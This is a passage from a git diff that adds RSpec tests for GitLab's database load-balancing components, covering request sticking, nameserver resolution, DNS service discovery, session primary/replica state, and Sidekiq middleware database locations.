+ expect(Gitlab::Database::LoadBalancing::Sticking)
+ .to receive(:unstick_or_continue_sticking)
+ .with(:runner, '123456789')
+ .ordered
+
+ env = {}
+
+ described_class.stick_or_unstick(env, :user, 42)
+ described_class.stick_or_unstick(env, :runner, '123456789')
+
+ expect(env[described_class::STICK_OBJECT].to_a).to eq([
+ [:user, 42],
+ [:runner, '123456789']
+ ])
+ end
+ end
+
+ describe '#call' do
+ it 'handles a request' do
+ env = {}
+
+ expect(middleware).to receive(:clear).twice
+
+ expect(middleware).to receive(:unstick_or_continue_sticking).with(env)
+ expect(middleware).to receive(:stick_if_necessary).with(env)
+
+ expect(app).to receive(:call).with(env).and_return(10)
+
+ expect(middleware.call(env)).to eq(10)
+ end
+ end
+
+ describe '#unstick_or_continue_sticking' do
+ it 'does not stick if no namespace and identifier could be found' do
+ expect(Gitlab::Database::LoadBalancing::Sticking)
+ .not_to receive(:unstick_or_continue_sticking)
+
+ middleware.unstick_or_continue_sticking({})
+ end
+
+ it 'sticks to the primary if a warden user is found' do
+ env = { 'warden' => warden_user }
+
+ expect(Gitlab::Database::LoadBalancing::Sticking)
+ .to receive(:unstick_or_continue_sticking)
+ .with(:user, 42)
+
+ middleware.unstick_or_continue_sticking(env)
+ end
+
+ it 'sticks to the primary if a sticking namespace and identifier is found' do
+ env = { described_class::STICK_OBJECT => single_sticking_object }
+
+ expect(Gitlab::Database::LoadBalancing::Sticking)
+ .to receive(:unstick_or_continue_sticking)
+ .with(:user, 42)
+
+ middleware.unstick_or_continue_sticking(env)
+ end
+
+ it 'sticks to the primary if multiple sticking namespaces and identifiers were found' do
+ env = { described_class::STICK_OBJECT => multiple_sticking_objects }
+
+ expect(Gitlab::Database::LoadBalancing::Sticking)
+ .to receive(:unstick_or_continue_sticking)
+ .with(:user, 42)
+ .ordered
+
+ expect(Gitlab::Database::LoadBalancing::Sticking)
+ .to receive(:unstick_or_continue_sticking)
+ .with(:runner, '123456789')
+ .ordered
+
+ expect(Gitlab::Database::LoadBalancing::Sticking)
+ .to receive(:unstick_or_continue_sticking)
+ .with(:runner, '1234')
+ .ordered
+
+ middleware.unstick_or_continue_sticking(env)
+ end
+ end
+
+ describe '#stick_if_necessary' do
+ it 'does not stick to the primary if not necessary' do
+ expect(Gitlab::Database::LoadBalancing::Sticking)
+ .not_to receive(:stick_if_necessary)
+
+ middleware.stick_if_necessary({})
+ end
+
+ it 'sticks to the primary if a warden user is found' do
+ env = { 'warden' => warden_user }
+
+ expect(Gitlab::Database::LoadBalancing::Sticking)
+ .to receive(:stick_if_necessary)
+ .with(:user, 42)
+
+ middleware.stick_if_necessary(env)
+ end
+
+ it 'sticks to the primary if a a single sticking object is found' do
+ env = { described_class::STICK_OBJECT => single_sticking_object }
+
+ expect(Gitlab::Database::LoadBalancing::Sticking)
+ .to receive(:stick_if_necessary)
+ .with(:user, 42)
+
+ middleware.stick_if_necessary(env)
+ end
+
+ it 'sticks to the primary if multiple sticking namespaces and identifiers were found' do
+ env = { described_class::STICK_OBJECT => multiple_sticking_objects }
+
+ expect(Gitlab::Database::LoadBalancing::Sticking)
+ .to receive(:stick_if_necessary)
+ .with(:user, 42)
+ .ordered
+
+ expect(Gitlab::Database::LoadBalancing::Sticking)
+ .to receive(:stick_if_necessary)
+ .with(:runner, '123456789')
+ .ordered
+
+ expect(Gitlab::Database::LoadBalancing::Sticking)
+ .to receive(:stick_if_necessary)
+ .with(:runner, '1234')
+ .ordered
+
+ middleware.stick_if_necessary(env)
+ end
+ end
+
+ describe '#clear' do
+ it 'clears the currently used host and session' do
+ lb = double(:lb)
+ session = double(:session)
+
+ allow(middleware).to receive(:load_balancer).and_return(lb)
+
+ expect(lb).to receive(:release_host)
+
+ stub_const('Gitlab::Database::LoadBalancing::RackMiddleware::Session',
+ session)
+
+ expect(session).to receive(:clear_session)
+
+ middleware.clear
+ end
+ end
+
+ describe '.load_balancer' do
+ it 'returns a the load balancer' do
+ proxy = double(:proxy)
+
+ expect(Gitlab::Database::LoadBalancing).to receive(:proxy)
+ .and_return(proxy)
+
+ expect(proxy).to receive(:load_balancer)
+
+ middleware.load_balancer
+ end
+ end
+
+ describe '#sticking_namespaces_and_ids' do
+ context 'using a Warden request' do
+ it 'returns the warden user if present' do
+ env = { 'warden' => warden_user }
+
+ expect(middleware.sticking_namespaces_and_ids(env)).to eq([[:user, 42]])
+ end
+
+ it 'returns an empty Array if no user was present' do
+ warden = double(:warden, user: nil)
+ env = { 'warden' => warden }
+
+ expect(middleware.sticking_namespaces_and_ids(env)).to eq([])
+ end
+ end
+
+ context 'using a request with a manually set sticking object' do
+ it 'returns the sticking object' do
+ env = { described_class::STICK_OBJECT => multiple_sticking_objects }
+
+ expect(middleware.sticking_namespaces_and_ids(env)).to eq([
+ [:user, 42],
+ [:runner, '123456789'],
+ [:runner, '1234']
+ ])
+ end
+ end
+
+ context 'using a regular request' do
+ it 'returns an empty Array' do
+ expect(middleware.sticking_namespaces_and_ids({})).to eq([])
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/database/load_balancing/resolver_spec.rb b/spec/lib/gitlab/database/load_balancing/resolver_spec.rb
new file mode 100644
index 00000000000..0051cf50255
--- /dev/null
+++ b/spec/lib/gitlab/database/load_balancing/resolver_spec.rb
@@ -0,0 +1,80 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Database::LoadBalancing::Resolver do
+ describe '#resolve' do
+ let(:ip_addr) { IPAddr.new('127.0.0.2') }
+
+ context 'when nameserver is an IP' do
+ it 'returns an IPAddr object' do
+ service = described_class.new('127.0.0.2')
+
+ expect(service.resolve).to eq(ip_addr)
+ end
+ end
+
+ context 'when nameserver is not an IP' do
+ subject { described_class.new('localhost').resolve }
+
+ it 'looks the nameserver up in the hosts file' do
+ allow_next_instance_of(Resolv::Hosts) do |instance|
+ allow(instance).to receive(:getaddress).with('localhost').and_return('127.0.0.2')
+ end
+
+ expect(subject).to eq(ip_addr)
+ end
+
+ context 'when nameserver is not in the hosts file' do
+ it 'looks the nameserver up in DNS' do
+ resource = double(:resource, address: ip_addr)
+ packet = double(:packet, answer: [resource])
+
+ allow_next_instance_of(Resolv::Hosts) do |instance|
+ allow(instance).to receive(:getaddress).with('localhost').and_raise(Resolv::ResolvError)
+ end
+
+ allow(Net::DNS::Resolver).to receive(:start)
+ .with('localhost', Net::DNS::A)
+ .and_return(packet)
+
+ expect(subject).to eq(ip_addr)
+ end
+
+ context 'when nameserver is not in DNS' do
+ it 'raises an exception' do
+ allow_next_instance_of(Resolv::Hosts) do |instance|
+ allow(instance).to receive(:getaddress).with('localhost').and_raise(Resolv::ResolvError)
+ end
+
+ allow(Net::DNS::Resolver).to receive(:start)
+ .with('localhost', Net::DNS::A)
+ .and_return(double(:packet, answer: []))
+
+ expect { subject }.to raise_exception(
+ described_class::UnresolvableNameserverError,
+ 'could not resolve localhost'
+ )
+ end
+ end
+
+ context 'when DNS does not respond' do
+ it 'raises an exception' do
+ allow_next_instance_of(Resolv::Hosts) do |instance|
+ allow(instance).to receive(:getaddress).with('localhost').and_raise(Resolv::ResolvError)
+ end
+
+ allow(Net::DNS::Resolver).to receive(:start)
+ .with('localhost', Net::DNS::A)
+ .and_raise(Net::DNS::Resolver::NoResponseError)
+
+ expect { subject }.to raise_exception(
+ described_class::UnresolvableNameserverError,
+ 'no response from DNS server(s)'
+ )
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/database/load_balancing/service_discovery_spec.rb b/spec/lib/gitlab/database/load_balancing/service_discovery_spec.rb
new file mode 100644
index 00000000000..7fc7b5e8d11
--- /dev/null
+++ b/spec/lib/gitlab/database/load_balancing/service_discovery_spec.rb
@@ -0,0 +1,252 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Database::LoadBalancing::ServiceDiscovery do
+ let(:service) do
+ described_class.new(nameserver: 'localhost', port: 8600, record: 'foo')
+ end
+
+ before do
+ resource = double(:resource, address: IPAddr.new('127.0.0.1'))
+ packet = double(:packet, answer: [resource])
+
+ allow(Net::DNS::Resolver).to receive(:start)
+ .with('localhost', Net::DNS::A)
+ .and_return(packet)
+ end
+
+ describe '#initialize' do
+ describe ':record_type' do
+ subject { described_class.new(nameserver: 'localhost', port: 8600, record: 'foo', record_type: record_type) }
+
+ context 'with a supported type' do
+ let(:record_type) { 'SRV' }
+
+ it { expect(subject.record_type).to eq Net::DNS::SRV }
+ end
+
+ context 'with an unsupported type' do
+ let(:record_type) { 'AAAA' }
+
+ it 'raises an argument error' do
+ expect { subject }.to raise_error(ArgumentError, 'Unsupported record type: AAAA')
+ end
+ end
+ end
+ end
+
+ describe '#start' do
+ before do
+ allow(service)
+ .to receive(:loop)
+ .and_yield
+ end
+
+ it 'starts service discovery in a new thread' do
+ expect(service)
+ .to receive(:refresh_if_necessary)
+ .and_return(5)
+
+ expect(service)
+ .to receive(:rand)
+ .and_return(2)
+
+ expect(service)
+ .to receive(:sleep)
+ .with(7)
+
+ service.start.join
+ end
+
+ it 'reports exceptions to Sentry' do
+ error = StandardError.new
+
+ expect(service)
+ .to receive(:refresh_if_necessary)
+ .and_raise(error)
+
+ expect(Gitlab::ErrorTracking)
+ .to receive(:track_exception)
+ .with(error)
+
+ expect(service)
+ .to receive(:rand)
+ .and_return(2)
+
+ expect(service)
+ .to receive(:sleep)
+ .with(62)
+
+ service.start.join
+ end
+ end
+
+ describe '#refresh_if_necessary' do
+ let(:address_foo) { described_class::Address.new('foo') }
+ let(:address_bar) { described_class::Address.new('bar') }
+
+ context 'when a refresh is necessary' do
+ before do
+ allow(service)
+ .to receive(:addresses_from_load_balancer)
+ .and_return(%w[localhost])
+
+ allow(service)
+ .to receive(:addresses_from_dns)
+ .and_return([10, [address_foo, address_bar]])
+ end
+
+ it 'refreshes the load balancer hosts' do
+ expect(service)
+ .to receive(:replace_hosts)
+ .with([address_foo, address_bar])
+
+ expect(service.refresh_if_necessary).to eq(10)
+ end
+ end
+
+ context 'when a refresh is not necessary' do
+ before do
+ allow(service)
+ .to receive(:addresses_from_load_balancer)
+ .and_return(%w[localhost])
+
+ allow(service)
+ .to receive(:addresses_from_dns)
+ .and_return([10, %w[localhost]])
+ end
+
+ it 'does not refresh the load balancer hosts' do
+ expect(service)
+ .not_to receive(:replace_hosts)
+
+ expect(service.refresh_if_necessary).to eq(10)
+ end
+ end
+ end
+
+ describe '#replace_hosts' do
+ let(:address_foo) { described_class::Address.new('foo') }
+ let(:address_bar) { described_class::Address.new('bar') }
+
+ let(:load_balancer) do
+ Gitlab::Database::LoadBalancing::LoadBalancer.new([address_foo])
+ end
+
+ before do
+ allow(service)
+ .to receive(:load_balancer)
+ .and_return(load_balancer)
+ end
+
+ it 'replaces the hosts of the load balancer' do
+ service.replace_hosts([address_bar])
+
+ expect(load_balancer.host_list.host_names_and_ports).to eq([['bar', nil]])
+ end
+
+ it 'disconnects the old connections' do
+ host = load_balancer.host_list.hosts.first
+
+ allow(service)
+ .to receive(:disconnect_timeout)
+ .and_return(2)
+
+ expect(host)
+ .to receive(:disconnect!)
+ .with(2)
+
+ service.replace_hosts([address_bar])
+ end
+ end
+
+ describe '#addresses_from_dns' do
+ let(:service) { described_class.new(nameserver: 'localhost', port: 8600, record: 'foo', record_type: record_type) }
+ let(:packet) { double(:packet, answer: [res1, res2]) }
+
+ before do
+ allow(service.resolver)
+ .to receive(:search)
+ .with('foo', described_class::RECORD_TYPES[record_type])
+ .and_return(packet)
+ end
+
+ context 'with an A record' do
+ let(:record_type) { 'A' }
+
+ let(:res1) { double(:resource, address: IPAddr.new('255.255.255.0'), ttl: 90) }
+ let(:res2) { double(:resource, address: IPAddr.new('127.0.0.1'), ttl: 90) }
+
+ it 'returns a TTL and ordered list of IP addresses' do
+ addresses = [
+ described_class::Address.new('127.0.0.1'),
+ described_class::Address.new('255.255.255.0')
+ ]
+
+ expect(service.addresses_from_dns).to eq([90, addresses])
+ end
+ end
+
+ context 'with an SRV record' do
+ let(:record_type) { 'SRV' }
+
+ let(:res1) { double(:resource, host: 'foo1.service.consul.', port: 5432, weight: 1, priority: 1, ttl: 90) }
+ let(:res2) { double(:resource, host: 'foo2.service.consul.', port: 5433, weight: 1, priority: 1, ttl: 90) }
+ let(:res3) { double(:resource, host: 'foo3.service.consul.', port: 5434, weight: 1, priority: 1, ttl: 90) }
+ let(:packet) { double(:packet, answer: [res1, res2, res3], additional: []) }
+
+ before do
+ expect_next_instance_of(Gitlab::Database::LoadBalancing::SrvResolver) do |resolver|
+ allow(resolver).to receive(:address_for).with('foo1.service.consul.').and_return(IPAddr.new('255.255.255.0'))
+ allow(resolver).to receive(:address_for).with('foo2.service.consul.').and_return(IPAddr.new('127.0.0.1'))
+ allow(resolver).to receive(:address_for).with('foo3.service.consul.').and_return(nil)
+ end
+ end
+
+ it 'returns a TTL and ordered list of hosts' do
+ addresses = [
+ described_class::Address.new('127.0.0.1', 5433),
+ described_class::Address.new('255.255.255.0', 5432)
+ ]
+
+ expect(service.addresses_from_dns).to eq([90, addresses])
+ end
+ end
+ end
+
+ describe '#new_wait_time_for' do
+ it 'returns the DNS TTL if greater than the default interval' do
+ res = double(:resource, ttl: 90)
+
+ expect(service.new_wait_time_for([res])).to eq(90)
+ end
+
+ it 'returns the default interval if greater than the DNS TTL' do
+ res = double(:resource, ttl: 10)
+
+ expect(service.new_wait_time_for([res])).to eq(60)
+ end
+
+ it 'returns the default interval if no resources are given' do
+ expect(service.new_wait_time_for([])).to eq(60)
+ end
+ end
+
+ describe '#addresses_from_load_balancer' do
+ it 'returns the ordered host names of the load balancer' do
+ load_balancer = Gitlab::Database::LoadBalancing::LoadBalancer.new(%w[b a])
+
+ allow(service)
+ .to receive(:load_balancer)
+ .and_return(load_balancer)
+
+ addresses = [
+ described_class::Address.new('a'),
+ described_class::Address.new('b')
+ ]
+
+ expect(service.addresses_from_load_balancer).to eq(addresses)
+ end
+ end
+end
diff --git a/spec/lib/gitlab/database/load_balancing/session_spec.rb b/spec/lib/gitlab/database/load_balancing/session_spec.rb
new file mode 100644
index 00000000000..74512f76fd4
--- /dev/null
+++ b/spec/lib/gitlab/database/load_balancing/session_spec.rb
@@ -0,0 +1,353 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Database::LoadBalancing::Session do
+ after do
+ described_class.clear_session
+ end
+
+ describe '.current' do
+ it 'returns the current session' do
+ expect(described_class.current).to be_an_instance_of(described_class)
+ end
+ end
+
+ describe '.clear_session' do
+ it 'clears the current session' do
+ described_class.current
+ described_class.clear_session
+
+ expect(RequestStore[described_class::CACHE_KEY]).to be_nil
+ end
+ end
+
+ describe '.without_sticky_writes' do
+ it 'ignores sticky write events sent by a connection proxy' do
+ described_class.without_sticky_writes do
+ described_class.current.write!
+ end
+
+ session = described_class.current
+
+ expect(session).not_to be_using_primary
+ end
+
+ it 'still is aware of write that happened' do
+ described_class.without_sticky_writes do
+ described_class.current.write!
+ end
+
+ session = described_class.current
+
+ expect(session.performed_write?).to be true
+ end
+ end
+
+ describe '#use_primary?' do
+ it 'returns true when the primary should be used' do
+ instance = described_class.new
+
+ instance.use_primary!
+
+ expect(instance.use_primary?).to eq(true)
+ end
+
+ it 'returns false when a secondary should be used' do
+ expect(described_class.new.use_primary?).to eq(false)
+ end
+
+ it 'returns true when a write was performed' do
+ instance = described_class.new
+
+ instance.write!
+
+ expect(instance.use_primary?).to eq(true)
+ end
+ end
+
+ describe '#use_primary' do
+ let(:instance) { described_class.new }
+
+ context 'when primary was used before' do
+ before do
+ instance.write!
+ end
+
+ it 'restores state after use' do
+ expect { |blk| instance.use_primary(&blk) }.to yield_with_no_args
+
+ expect(instance.use_primary?).to eq(true)
+ end
+ end
+
+ context 'when primary was not used' do
+ it 'restores state after use' do
+ expect { |blk| instance.use_primary(&blk) }.to yield_with_no_args
+
+ expect(instance.use_primary?).to eq(false)
+ end
+ end
+
+ it 'uses primary during block' do
+ expect do |blk|
+ instance.use_primary do
+ expect(instance.use_primary?).to eq(true)
+
+ # call yield probe
+ blk.to_proc.call
+ end
+ end.to yield_control
+ end
+
+ it 'continues using primary when write was performed' do
+ instance.use_primary do
+ instance.write!
+ end
+
+ expect(instance.use_primary?).to eq(true)
+ end
+ end
+
+ describe '#performed_write?' do
+ it 'returns true if a write was performed' do
+ instance = described_class.new
+
+ instance.write!
+
+ expect(instance.performed_write?).to eq(true)
+ end
+ end
+
+ describe '#ignore_writes' do
+ it 'ignores write events' do
+ instance = described_class.new
+
+ instance.ignore_writes { instance.write! }
+
+ expect(instance).not_to be_using_primary
+ expect(instance.performed_write?).to eq true
+ end
+
+ it 'does not prevent using primary if an exception is raised' do
+ instance = described_class.new
+
+ instance.ignore_writes { raise ArgumentError } rescue ArgumentError
+ instance.write!
+
+ expect(instance).to be_using_primary
+ end
+ end
+
+ describe '#use_replicas_for_read_queries' do
+ let(:instance) { described_class.new }
+
+ it 'sets the flag inside the block' do
+ expect do |blk|
+ instance.use_replicas_for_read_queries do
+ expect(instance.use_replicas_for_read_queries?).to eq(true)
+
+ # call yield probe
+ blk.to_proc.call
+ end
+ end.to yield_control
+
+ expect(instance.use_replicas_for_read_queries?).to eq(false)
+ end
+
+ it 'restores state after use' do
+ expect do |blk|
+ instance.use_replicas_for_read_queries do
+ instance.use_replicas_for_read_queries do
+ expect(instance.use_replicas_for_read_queries?).to eq(true)
+
+ # call yield probe
+ blk.to_proc.call
+ end
+
+ expect(instance.use_replicas_for_read_queries?).to eq(true)
+ end
+ end.to yield_control
+
+ expect(instance.use_replicas_for_read_queries?).to eq(false)
+ end
+
+ context 'when primary was used before' do
+ before do
+ instance.use_primary!
+ end
+
+ it 'sets the flag inside the block' do
+ expect do |blk|
+ instance.use_replicas_for_read_queries do
+ expect(instance.use_replicas_for_read_queries?).to eq(true)
+
+ # call yield probe
+ blk.to_proc.call
+ end
+ end.to yield_control
+
+ expect(instance.use_replicas_for_read_queries?).to eq(false)
+ end
+ end
+
+ context 'when a write query is performed before' do
+ before do
+ instance.write!
+ end
+
+ it 'sets the flag inside the block' do
+ expect do |blk|
+ instance.use_replicas_for_read_queries do
+ expect(instance.use_replicas_for_read_queries?).to eq(true)
+
+ # call yield probe
+ blk.to_proc.call
+ end
+ end.to yield_control
+
+ expect(instance.use_replicas_for_read_queries?).to eq(false)
+ end
+ end
+ end
+
+ describe '#fallback_to_replicas_for_ambiguous_queries' do
+ let(:instance) { described_class.new }
+
+ it 'sets the flag inside the block' do
+ expect do |blk|
+ instance.fallback_to_replicas_for_ambiguous_queries do
+ expect(instance.fallback_to_replicas_for_ambiguous_queries?).to eq(true)
+
+ # call yield probe
+ blk.to_proc.call
+ end
+ end.to yield_control
+
+ expect(instance.fallback_to_replicas_for_ambiguous_queries?).to eq(false)
+ end
+
+ it 'restores state after use' do
+ expect do |blk|
+ instance.fallback_to_replicas_for_ambiguous_queries do
+ instance.fallback_to_replicas_for_ambiguous_queries do
+ expect(instance.fallback_to_replicas_for_ambiguous_queries?).to eq(true)
+
+ # call yield probe
+ blk.to_proc.call
+ end
+
+ expect(instance.fallback_to_replicas_for_ambiguous_queries?).to eq(true)
+ end
+ end.to yield_control
+
+ expect(instance.fallback_to_replicas_for_ambiguous_queries?).to eq(false)
+ end
+
+ context 'when primary was used before' do
+ before do
+ instance.use_primary!
+ end
+
+ it 'uses primary during block' do
+ expect(instance.fallback_to_replicas_for_ambiguous_queries?).to eq(false)
+
+ expect do |blk|
+ instance.fallback_to_replicas_for_ambiguous_queries do
+ expect(instance.fallback_to_replicas_for_ambiguous_queries?).to eq(false)
+
+ # call yield probe
+ blk.to_proc.call
+ end
+ end.to yield_control
+
+ expect(instance.fallback_to_replicas_for_ambiguous_queries?).to eq(false)
+ end
+ end
+
+ context 'when a write was performed before' do
+ before do
+ instance.write!
+ end
+
+ it 'uses primary during block' do
+ expect(instance.fallback_to_replicas_for_ambiguous_queries?).to eq(false)
+
+ expect do |blk|
+ instance.fallback_to_replicas_for_ambiguous_queries do
+ expect(instance.fallback_to_replicas_for_ambiguous_queries?).to eq(false)
+
+ # call yield probe
+ blk.to_proc.call
+ end
+ end.to yield_control
+
+ expect(instance.fallback_to_replicas_for_ambiguous_queries?).to eq(false)
+ end
+ end
+
+ context 'when primary was used inside the block' do
+ it 'uses primary aterward' do
+ expect(instance.fallback_to_replicas_for_ambiguous_queries?).to eq(false)
+
+ instance.fallback_to_replicas_for_ambiguous_queries do
+ expect(instance.fallback_to_replicas_for_ambiguous_queries?).to eq(true)
+
+ instance.use_primary!
+
+ expect(instance.fallback_to_replicas_for_ambiguous_queries?).to eq(false)
+ end
+
+ expect(instance.fallback_to_replicas_for_ambiguous_queries?).to eq(false)
+ end
+
+ it 'restores state after use' do
+ instance.fallback_to_replicas_for_ambiguous_queries do
+ instance.fallback_to_replicas_for_ambiguous_queries do
+ expect(instance.fallback_to_replicas_for_ambiguous_queries?).to eq(true)
+
+ instance.use_primary!
+
+ expect(instance.fallback_to_replicas_for_ambiguous_queries?).to eq(false)
+ end
+
+ expect(instance.fallback_to_replicas_for_ambiguous_queries?).to eq(false)
+ end
+
+ expect(instance.fallback_to_replicas_for_ambiguous_queries?).to eq(false)
+ end
+ end
+
+ context 'when a write was performed inside the block' do
+ it 'uses primary aterward' do
+ expect(instance.fallback_to_replicas_for_ambiguous_queries?).to eq(false)
+
+ instance.fallback_to_replicas_for_ambiguous_queries do
+ expect(instance.fallback_to_replicas_for_ambiguous_queries?).to eq(true)
+
+ instance.write!
+
+ expect(instance.fallback_to_replicas_for_ambiguous_queries?).to eq(false)
+ end
+
+ expect(instance.fallback_to_replicas_for_ambiguous_queries?).to eq(false)
+ end
+
+ it 'restores state after use' do
+ instance.fallback_to_replicas_for_ambiguous_queries do
+ instance.fallback_to_replicas_for_ambiguous_queries do
+ expect(instance.fallback_to_replicas_for_ambiguous_queries?).to eq(true)
+
+ instance.write!
+
+ expect(instance.fallback_to_replicas_for_ambiguous_queries?).to eq(false)
+ end
+
+ expect(instance.fallback_to_replicas_for_ambiguous_queries?).to eq(false)
+ end
+
+ expect(instance.fallback_to_replicas_for_ambiguous_queries?).to eq(false)
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/database/load_balancing/sidekiq_client_middleware_spec.rb b/spec/lib/gitlab/database/load_balancing/sidekiq_client_middleware_spec.rb
new file mode 100644
index 00000000000..90051172fca
--- /dev/null
+++ b/spec/lib/gitlab/database/load_balancing/sidekiq_client_middleware_spec.rb
@@ -0,0 +1,161 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Database::LoadBalancing::SidekiqClientMiddleware do
+ let(:middleware) { described_class.new }
+
+ after do
+ Gitlab::Database::LoadBalancing::Session.clear_session
+ end
+
+ describe '#call' do
+ shared_context 'data consistency worker class' do |data_consistency, feature_flag|
+ let(:worker_class) do
+ Class.new do
+ def self.name
+ 'TestDataConsistencyWorker'
+ end
+
+ include ApplicationWorker
+
+ data_consistency data_consistency, feature_flag: feature_flag
+
+ def perform(*args)
+ end
+ end
+ end
+
+ before do
+ stub_const('TestDataConsistencyWorker', worker_class)
+ end
+ end
+
+ shared_examples_for 'does not pass database locations' do
+ it 'does not pass database locations', :aggregate_failures do
+ middleware.call(worker_class, job, double(:queue), redis_pool) { 10 }
+
+ expect(job['database_replica_location']).to be_nil
+ expect(job['database_write_location']).to be_nil
+ end
+ end
+
+ shared_examples_for 'mark data consistency location' do |data_consistency|
+ include_context 'data consistency worker class', data_consistency, :load_balancing_for_test_data_consistency_worker
+
+ let(:location) { '0/D525E3A8' }
+
+ context 'when feature flag load_balancing_for_sidekiq is disabled' do
+ before do
+ stub_feature_flags(load_balancing_for_test_data_consistency_worker: false)
+ end
+
+ include_examples 'does not pass database locations'
+ end
+
+ context 'when write was not performed' do
+ before do
+ allow(Gitlab::Database::LoadBalancing::Session.current).to receive(:use_primary?).and_return(false)
+ end
+
+ it 'passes database_replica_location' do
+ expect(middleware).to receive_message_chain(:load_balancer, :host, "database_replica_location").and_return(location)
+
+ middleware.call(worker_class, job, double(:queue), redis_pool) { 10 }
+
+ expect(job['database_replica_location']).to eq(location)
+ end
+ end
+
+ context 'when write was performed' do
+ before do
+ allow(Gitlab::Database::LoadBalancing::Session.current).to receive(:use_primary?).and_return(true)
+ end
+
+ it 'passes primary write location', :aggregate_failures do
+ expect(middleware).to receive_message_chain(:load_balancer, :primary_write_location).and_return(location)
+
+ middleware.call(worker_class, job, double(:queue), redis_pool) { 10 }
+
+ expect(job['database_write_location']).to eq(location)
+ end
+ end
+ end
+
+ shared_examples_for 'database location was already provided' do |provided_database_location, other_location|
+ shared_examples_for 'does not set database location again' do |use_primary|
+ before do
+ allow(Gitlab::Database::LoadBalancing::Session.current).to receive(:use_primary?).and_return(use_primary)
+ end
+
+ it 'does not set database locations again' do
+ middleware.call(worker_class, job, double(:queue), redis_pool) { 10 }
+
+ expect(job[provided_database_location]).to eq(old_location)
+ expect(job[other_location]).to be_nil
+ end
+ end
+
+ let(:old_location) { '0/D525E3A8' }
+ let(:new_location) { 'AB/12345' }
+ let(:job) { { "job_id" => "a180b47c-3fd6-41b8-81e9-34da61c3400e", provided_database_location => old_location } }
+
+ before do
+ allow(middleware).to receive_message_chain(:load_balancer, :primary_write_location).and_return(new_location)
+ allow(middleware).to receive_message_chain(:load_balancer, :database_replica_location).and_return(new_location)
+ end
+
+ context "when write was performed" do
+ include_examples 'does not set database location again', true
+ end
+
+ context "when write was not performed" do
+ include_examples 'does not set database location again', false
+ end
+ end
+
+ let(:queue) { 'default' }
+ let(:redis_pool) { Sidekiq.redis_pool }
+ let(:worker_class) { 'TestDataConsistencyWorker' }
+ let(:job) { { "job_id" => "a180b47c-3fd6-41b8-81e9-34da61c3400e" } }
+
+ before do
+ skip_feature_flags_yaml_validation
+ skip_default_enabled_yaml_check
+ end
+
+ context 'when worker cannot be constantized' do
+ let(:worker_class) { 'ActionMailer::MailDeliveryJob' }
+
+ include_examples 'does not pass database locations'
+ end
+
+ context 'when worker class does not include ApplicationWorker' do
+ let(:worker_class) { ActiveJob::QueueAdapters::SidekiqAdapter::JobWrapper }
+
+ include_examples 'does not pass database locations'
+ end
+
+ context 'database write location was already provided' do
+ include_examples 'database location was already provided', 'database_write_location', 'database_replica_location'
+ end
+
+ context 'database replica location was already provided' do
+ include_examples 'database location was already provided', 'database_replica_location', 'database_write_location'
+ end
+
+ context 'when worker data consistency is :always' do
+ include_context 'data consistency worker class', :always, :load_balancing_for_test_data_consistency_worker
+
+ include_examples 'does not pass database locations'
+ end
+
+ context 'when worker data consistency is :delayed' do
+ include_examples 'mark data consistency location', :delayed
+ end
+
+ context 'when worker data consistency is :sticky' do
+ include_examples 'mark data consistency location', :sticky
+ end
+ end
+end
diff --git a/spec/lib/gitlab/database/load_balancing/sidekiq_server_middleware_spec.rb b/spec/lib/gitlab/database/load_balancing/sidekiq_server_middleware_spec.rb
new file mode 100644
index 00000000000..b7cd0caa922
--- /dev/null
+++ b/spec/lib/gitlab/database/load_balancing/sidekiq_server_middleware_spec.rb
@@ -0,0 +1,201 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Database::LoadBalancing::SidekiqServerMiddleware do
+ let(:middleware) { described_class.new }
+
+ after do
+ Gitlab::Database::LoadBalancing::Session.clear_session
+ end
+
+ describe '#call' do
+ shared_context 'data consistency worker class' do |data_consistency, feature_flag|
+ let(:worker_class) do
+ Class.new do
+ def self.name
+ 'TestDataConsistencyWorker'
+ end
+
+ include ApplicationWorker
+
+ data_consistency data_consistency, feature_flag: feature_flag
+
+ def perform(*args)
+ end
+ end
+ end
+
+ before do
+ stub_const('TestDataConsistencyWorker', worker_class)
+ end
+ end
+
+ shared_examples_for 'stick to the primary' do
+ it 'sticks to the primary' do
+ middleware.call(worker, job, double(:queue)) do
+ expect(Gitlab::Database::LoadBalancing::Session.current.use_primary?).to be_truthy
+ end
+ end
+ end
+
+ shared_examples_for 'replica is up to date' do |location, data_consistency|
+ it 'does not stick to the primary', :aggregate_failures do
+ expect(middleware).to receive(:replica_caught_up?).with(location).and_return(true)
+
+ middleware.call(worker, job, double(:queue)) do
+ expect(Gitlab::Database::LoadBalancing::Session.current.use_primary?).not_to be_truthy
+ end
+
+ expect(job[:database_chosen]).to eq('replica')
+ end
+
+ it "updates job hash with data_consistency :#{data_consistency}" do
+ middleware.call(worker, job, double(:queue)) do
+ expect(job).to include(data_consistency: data_consistency.to_s)
+ end
+ end
+ end
+
+ shared_examples_for 'sticks based on data consistency' do |data_consistency|
+ include_context 'data consistency worker class', data_consistency, :load_balancing_for_test_data_consistency_worker
+
+ context 'when load_balancing_for_test_data_consistency_worker is disabled' do
+ before do
+ stub_feature_flags(load_balancing_for_test_data_consistency_worker: false)
+ end
+
+ include_examples 'stick to the primary'
+ end
+
+ context 'when database replica location is set' do
+ let(:job) { { 'job_id' => 'a180b47c-3fd6-41b8-81e9-34da61c3400e', 'database_replica_location' => '0/D525E3A8' } }
+
+ before do
+ allow(middleware).to receive(:replica_caught_up?).and_return(true)
+ end
+
+ it_behaves_like 'replica is up to date', '0/D525E3A8', data_consistency
+ end
+
+ context 'when database primary location is set' do
+ let(:job) { { 'job_id' => 'a180b47c-3fd6-41b8-81e9-34da61c3400e', 'database_write_location' => '0/D525E3A8' } }
+
+ before do
+ allow(middleware).to receive(:replica_caught_up?).and_return(true)
+ end
+
+ it_behaves_like 'replica is up to date', '0/D525E3A8', data_consistency
+ end
+
+ context 'when database location is not set' do
+ let(:job) { { 'job_id' => 'a180b47c-3fd6-41b8-81e9-34da61c3400e' } }
+
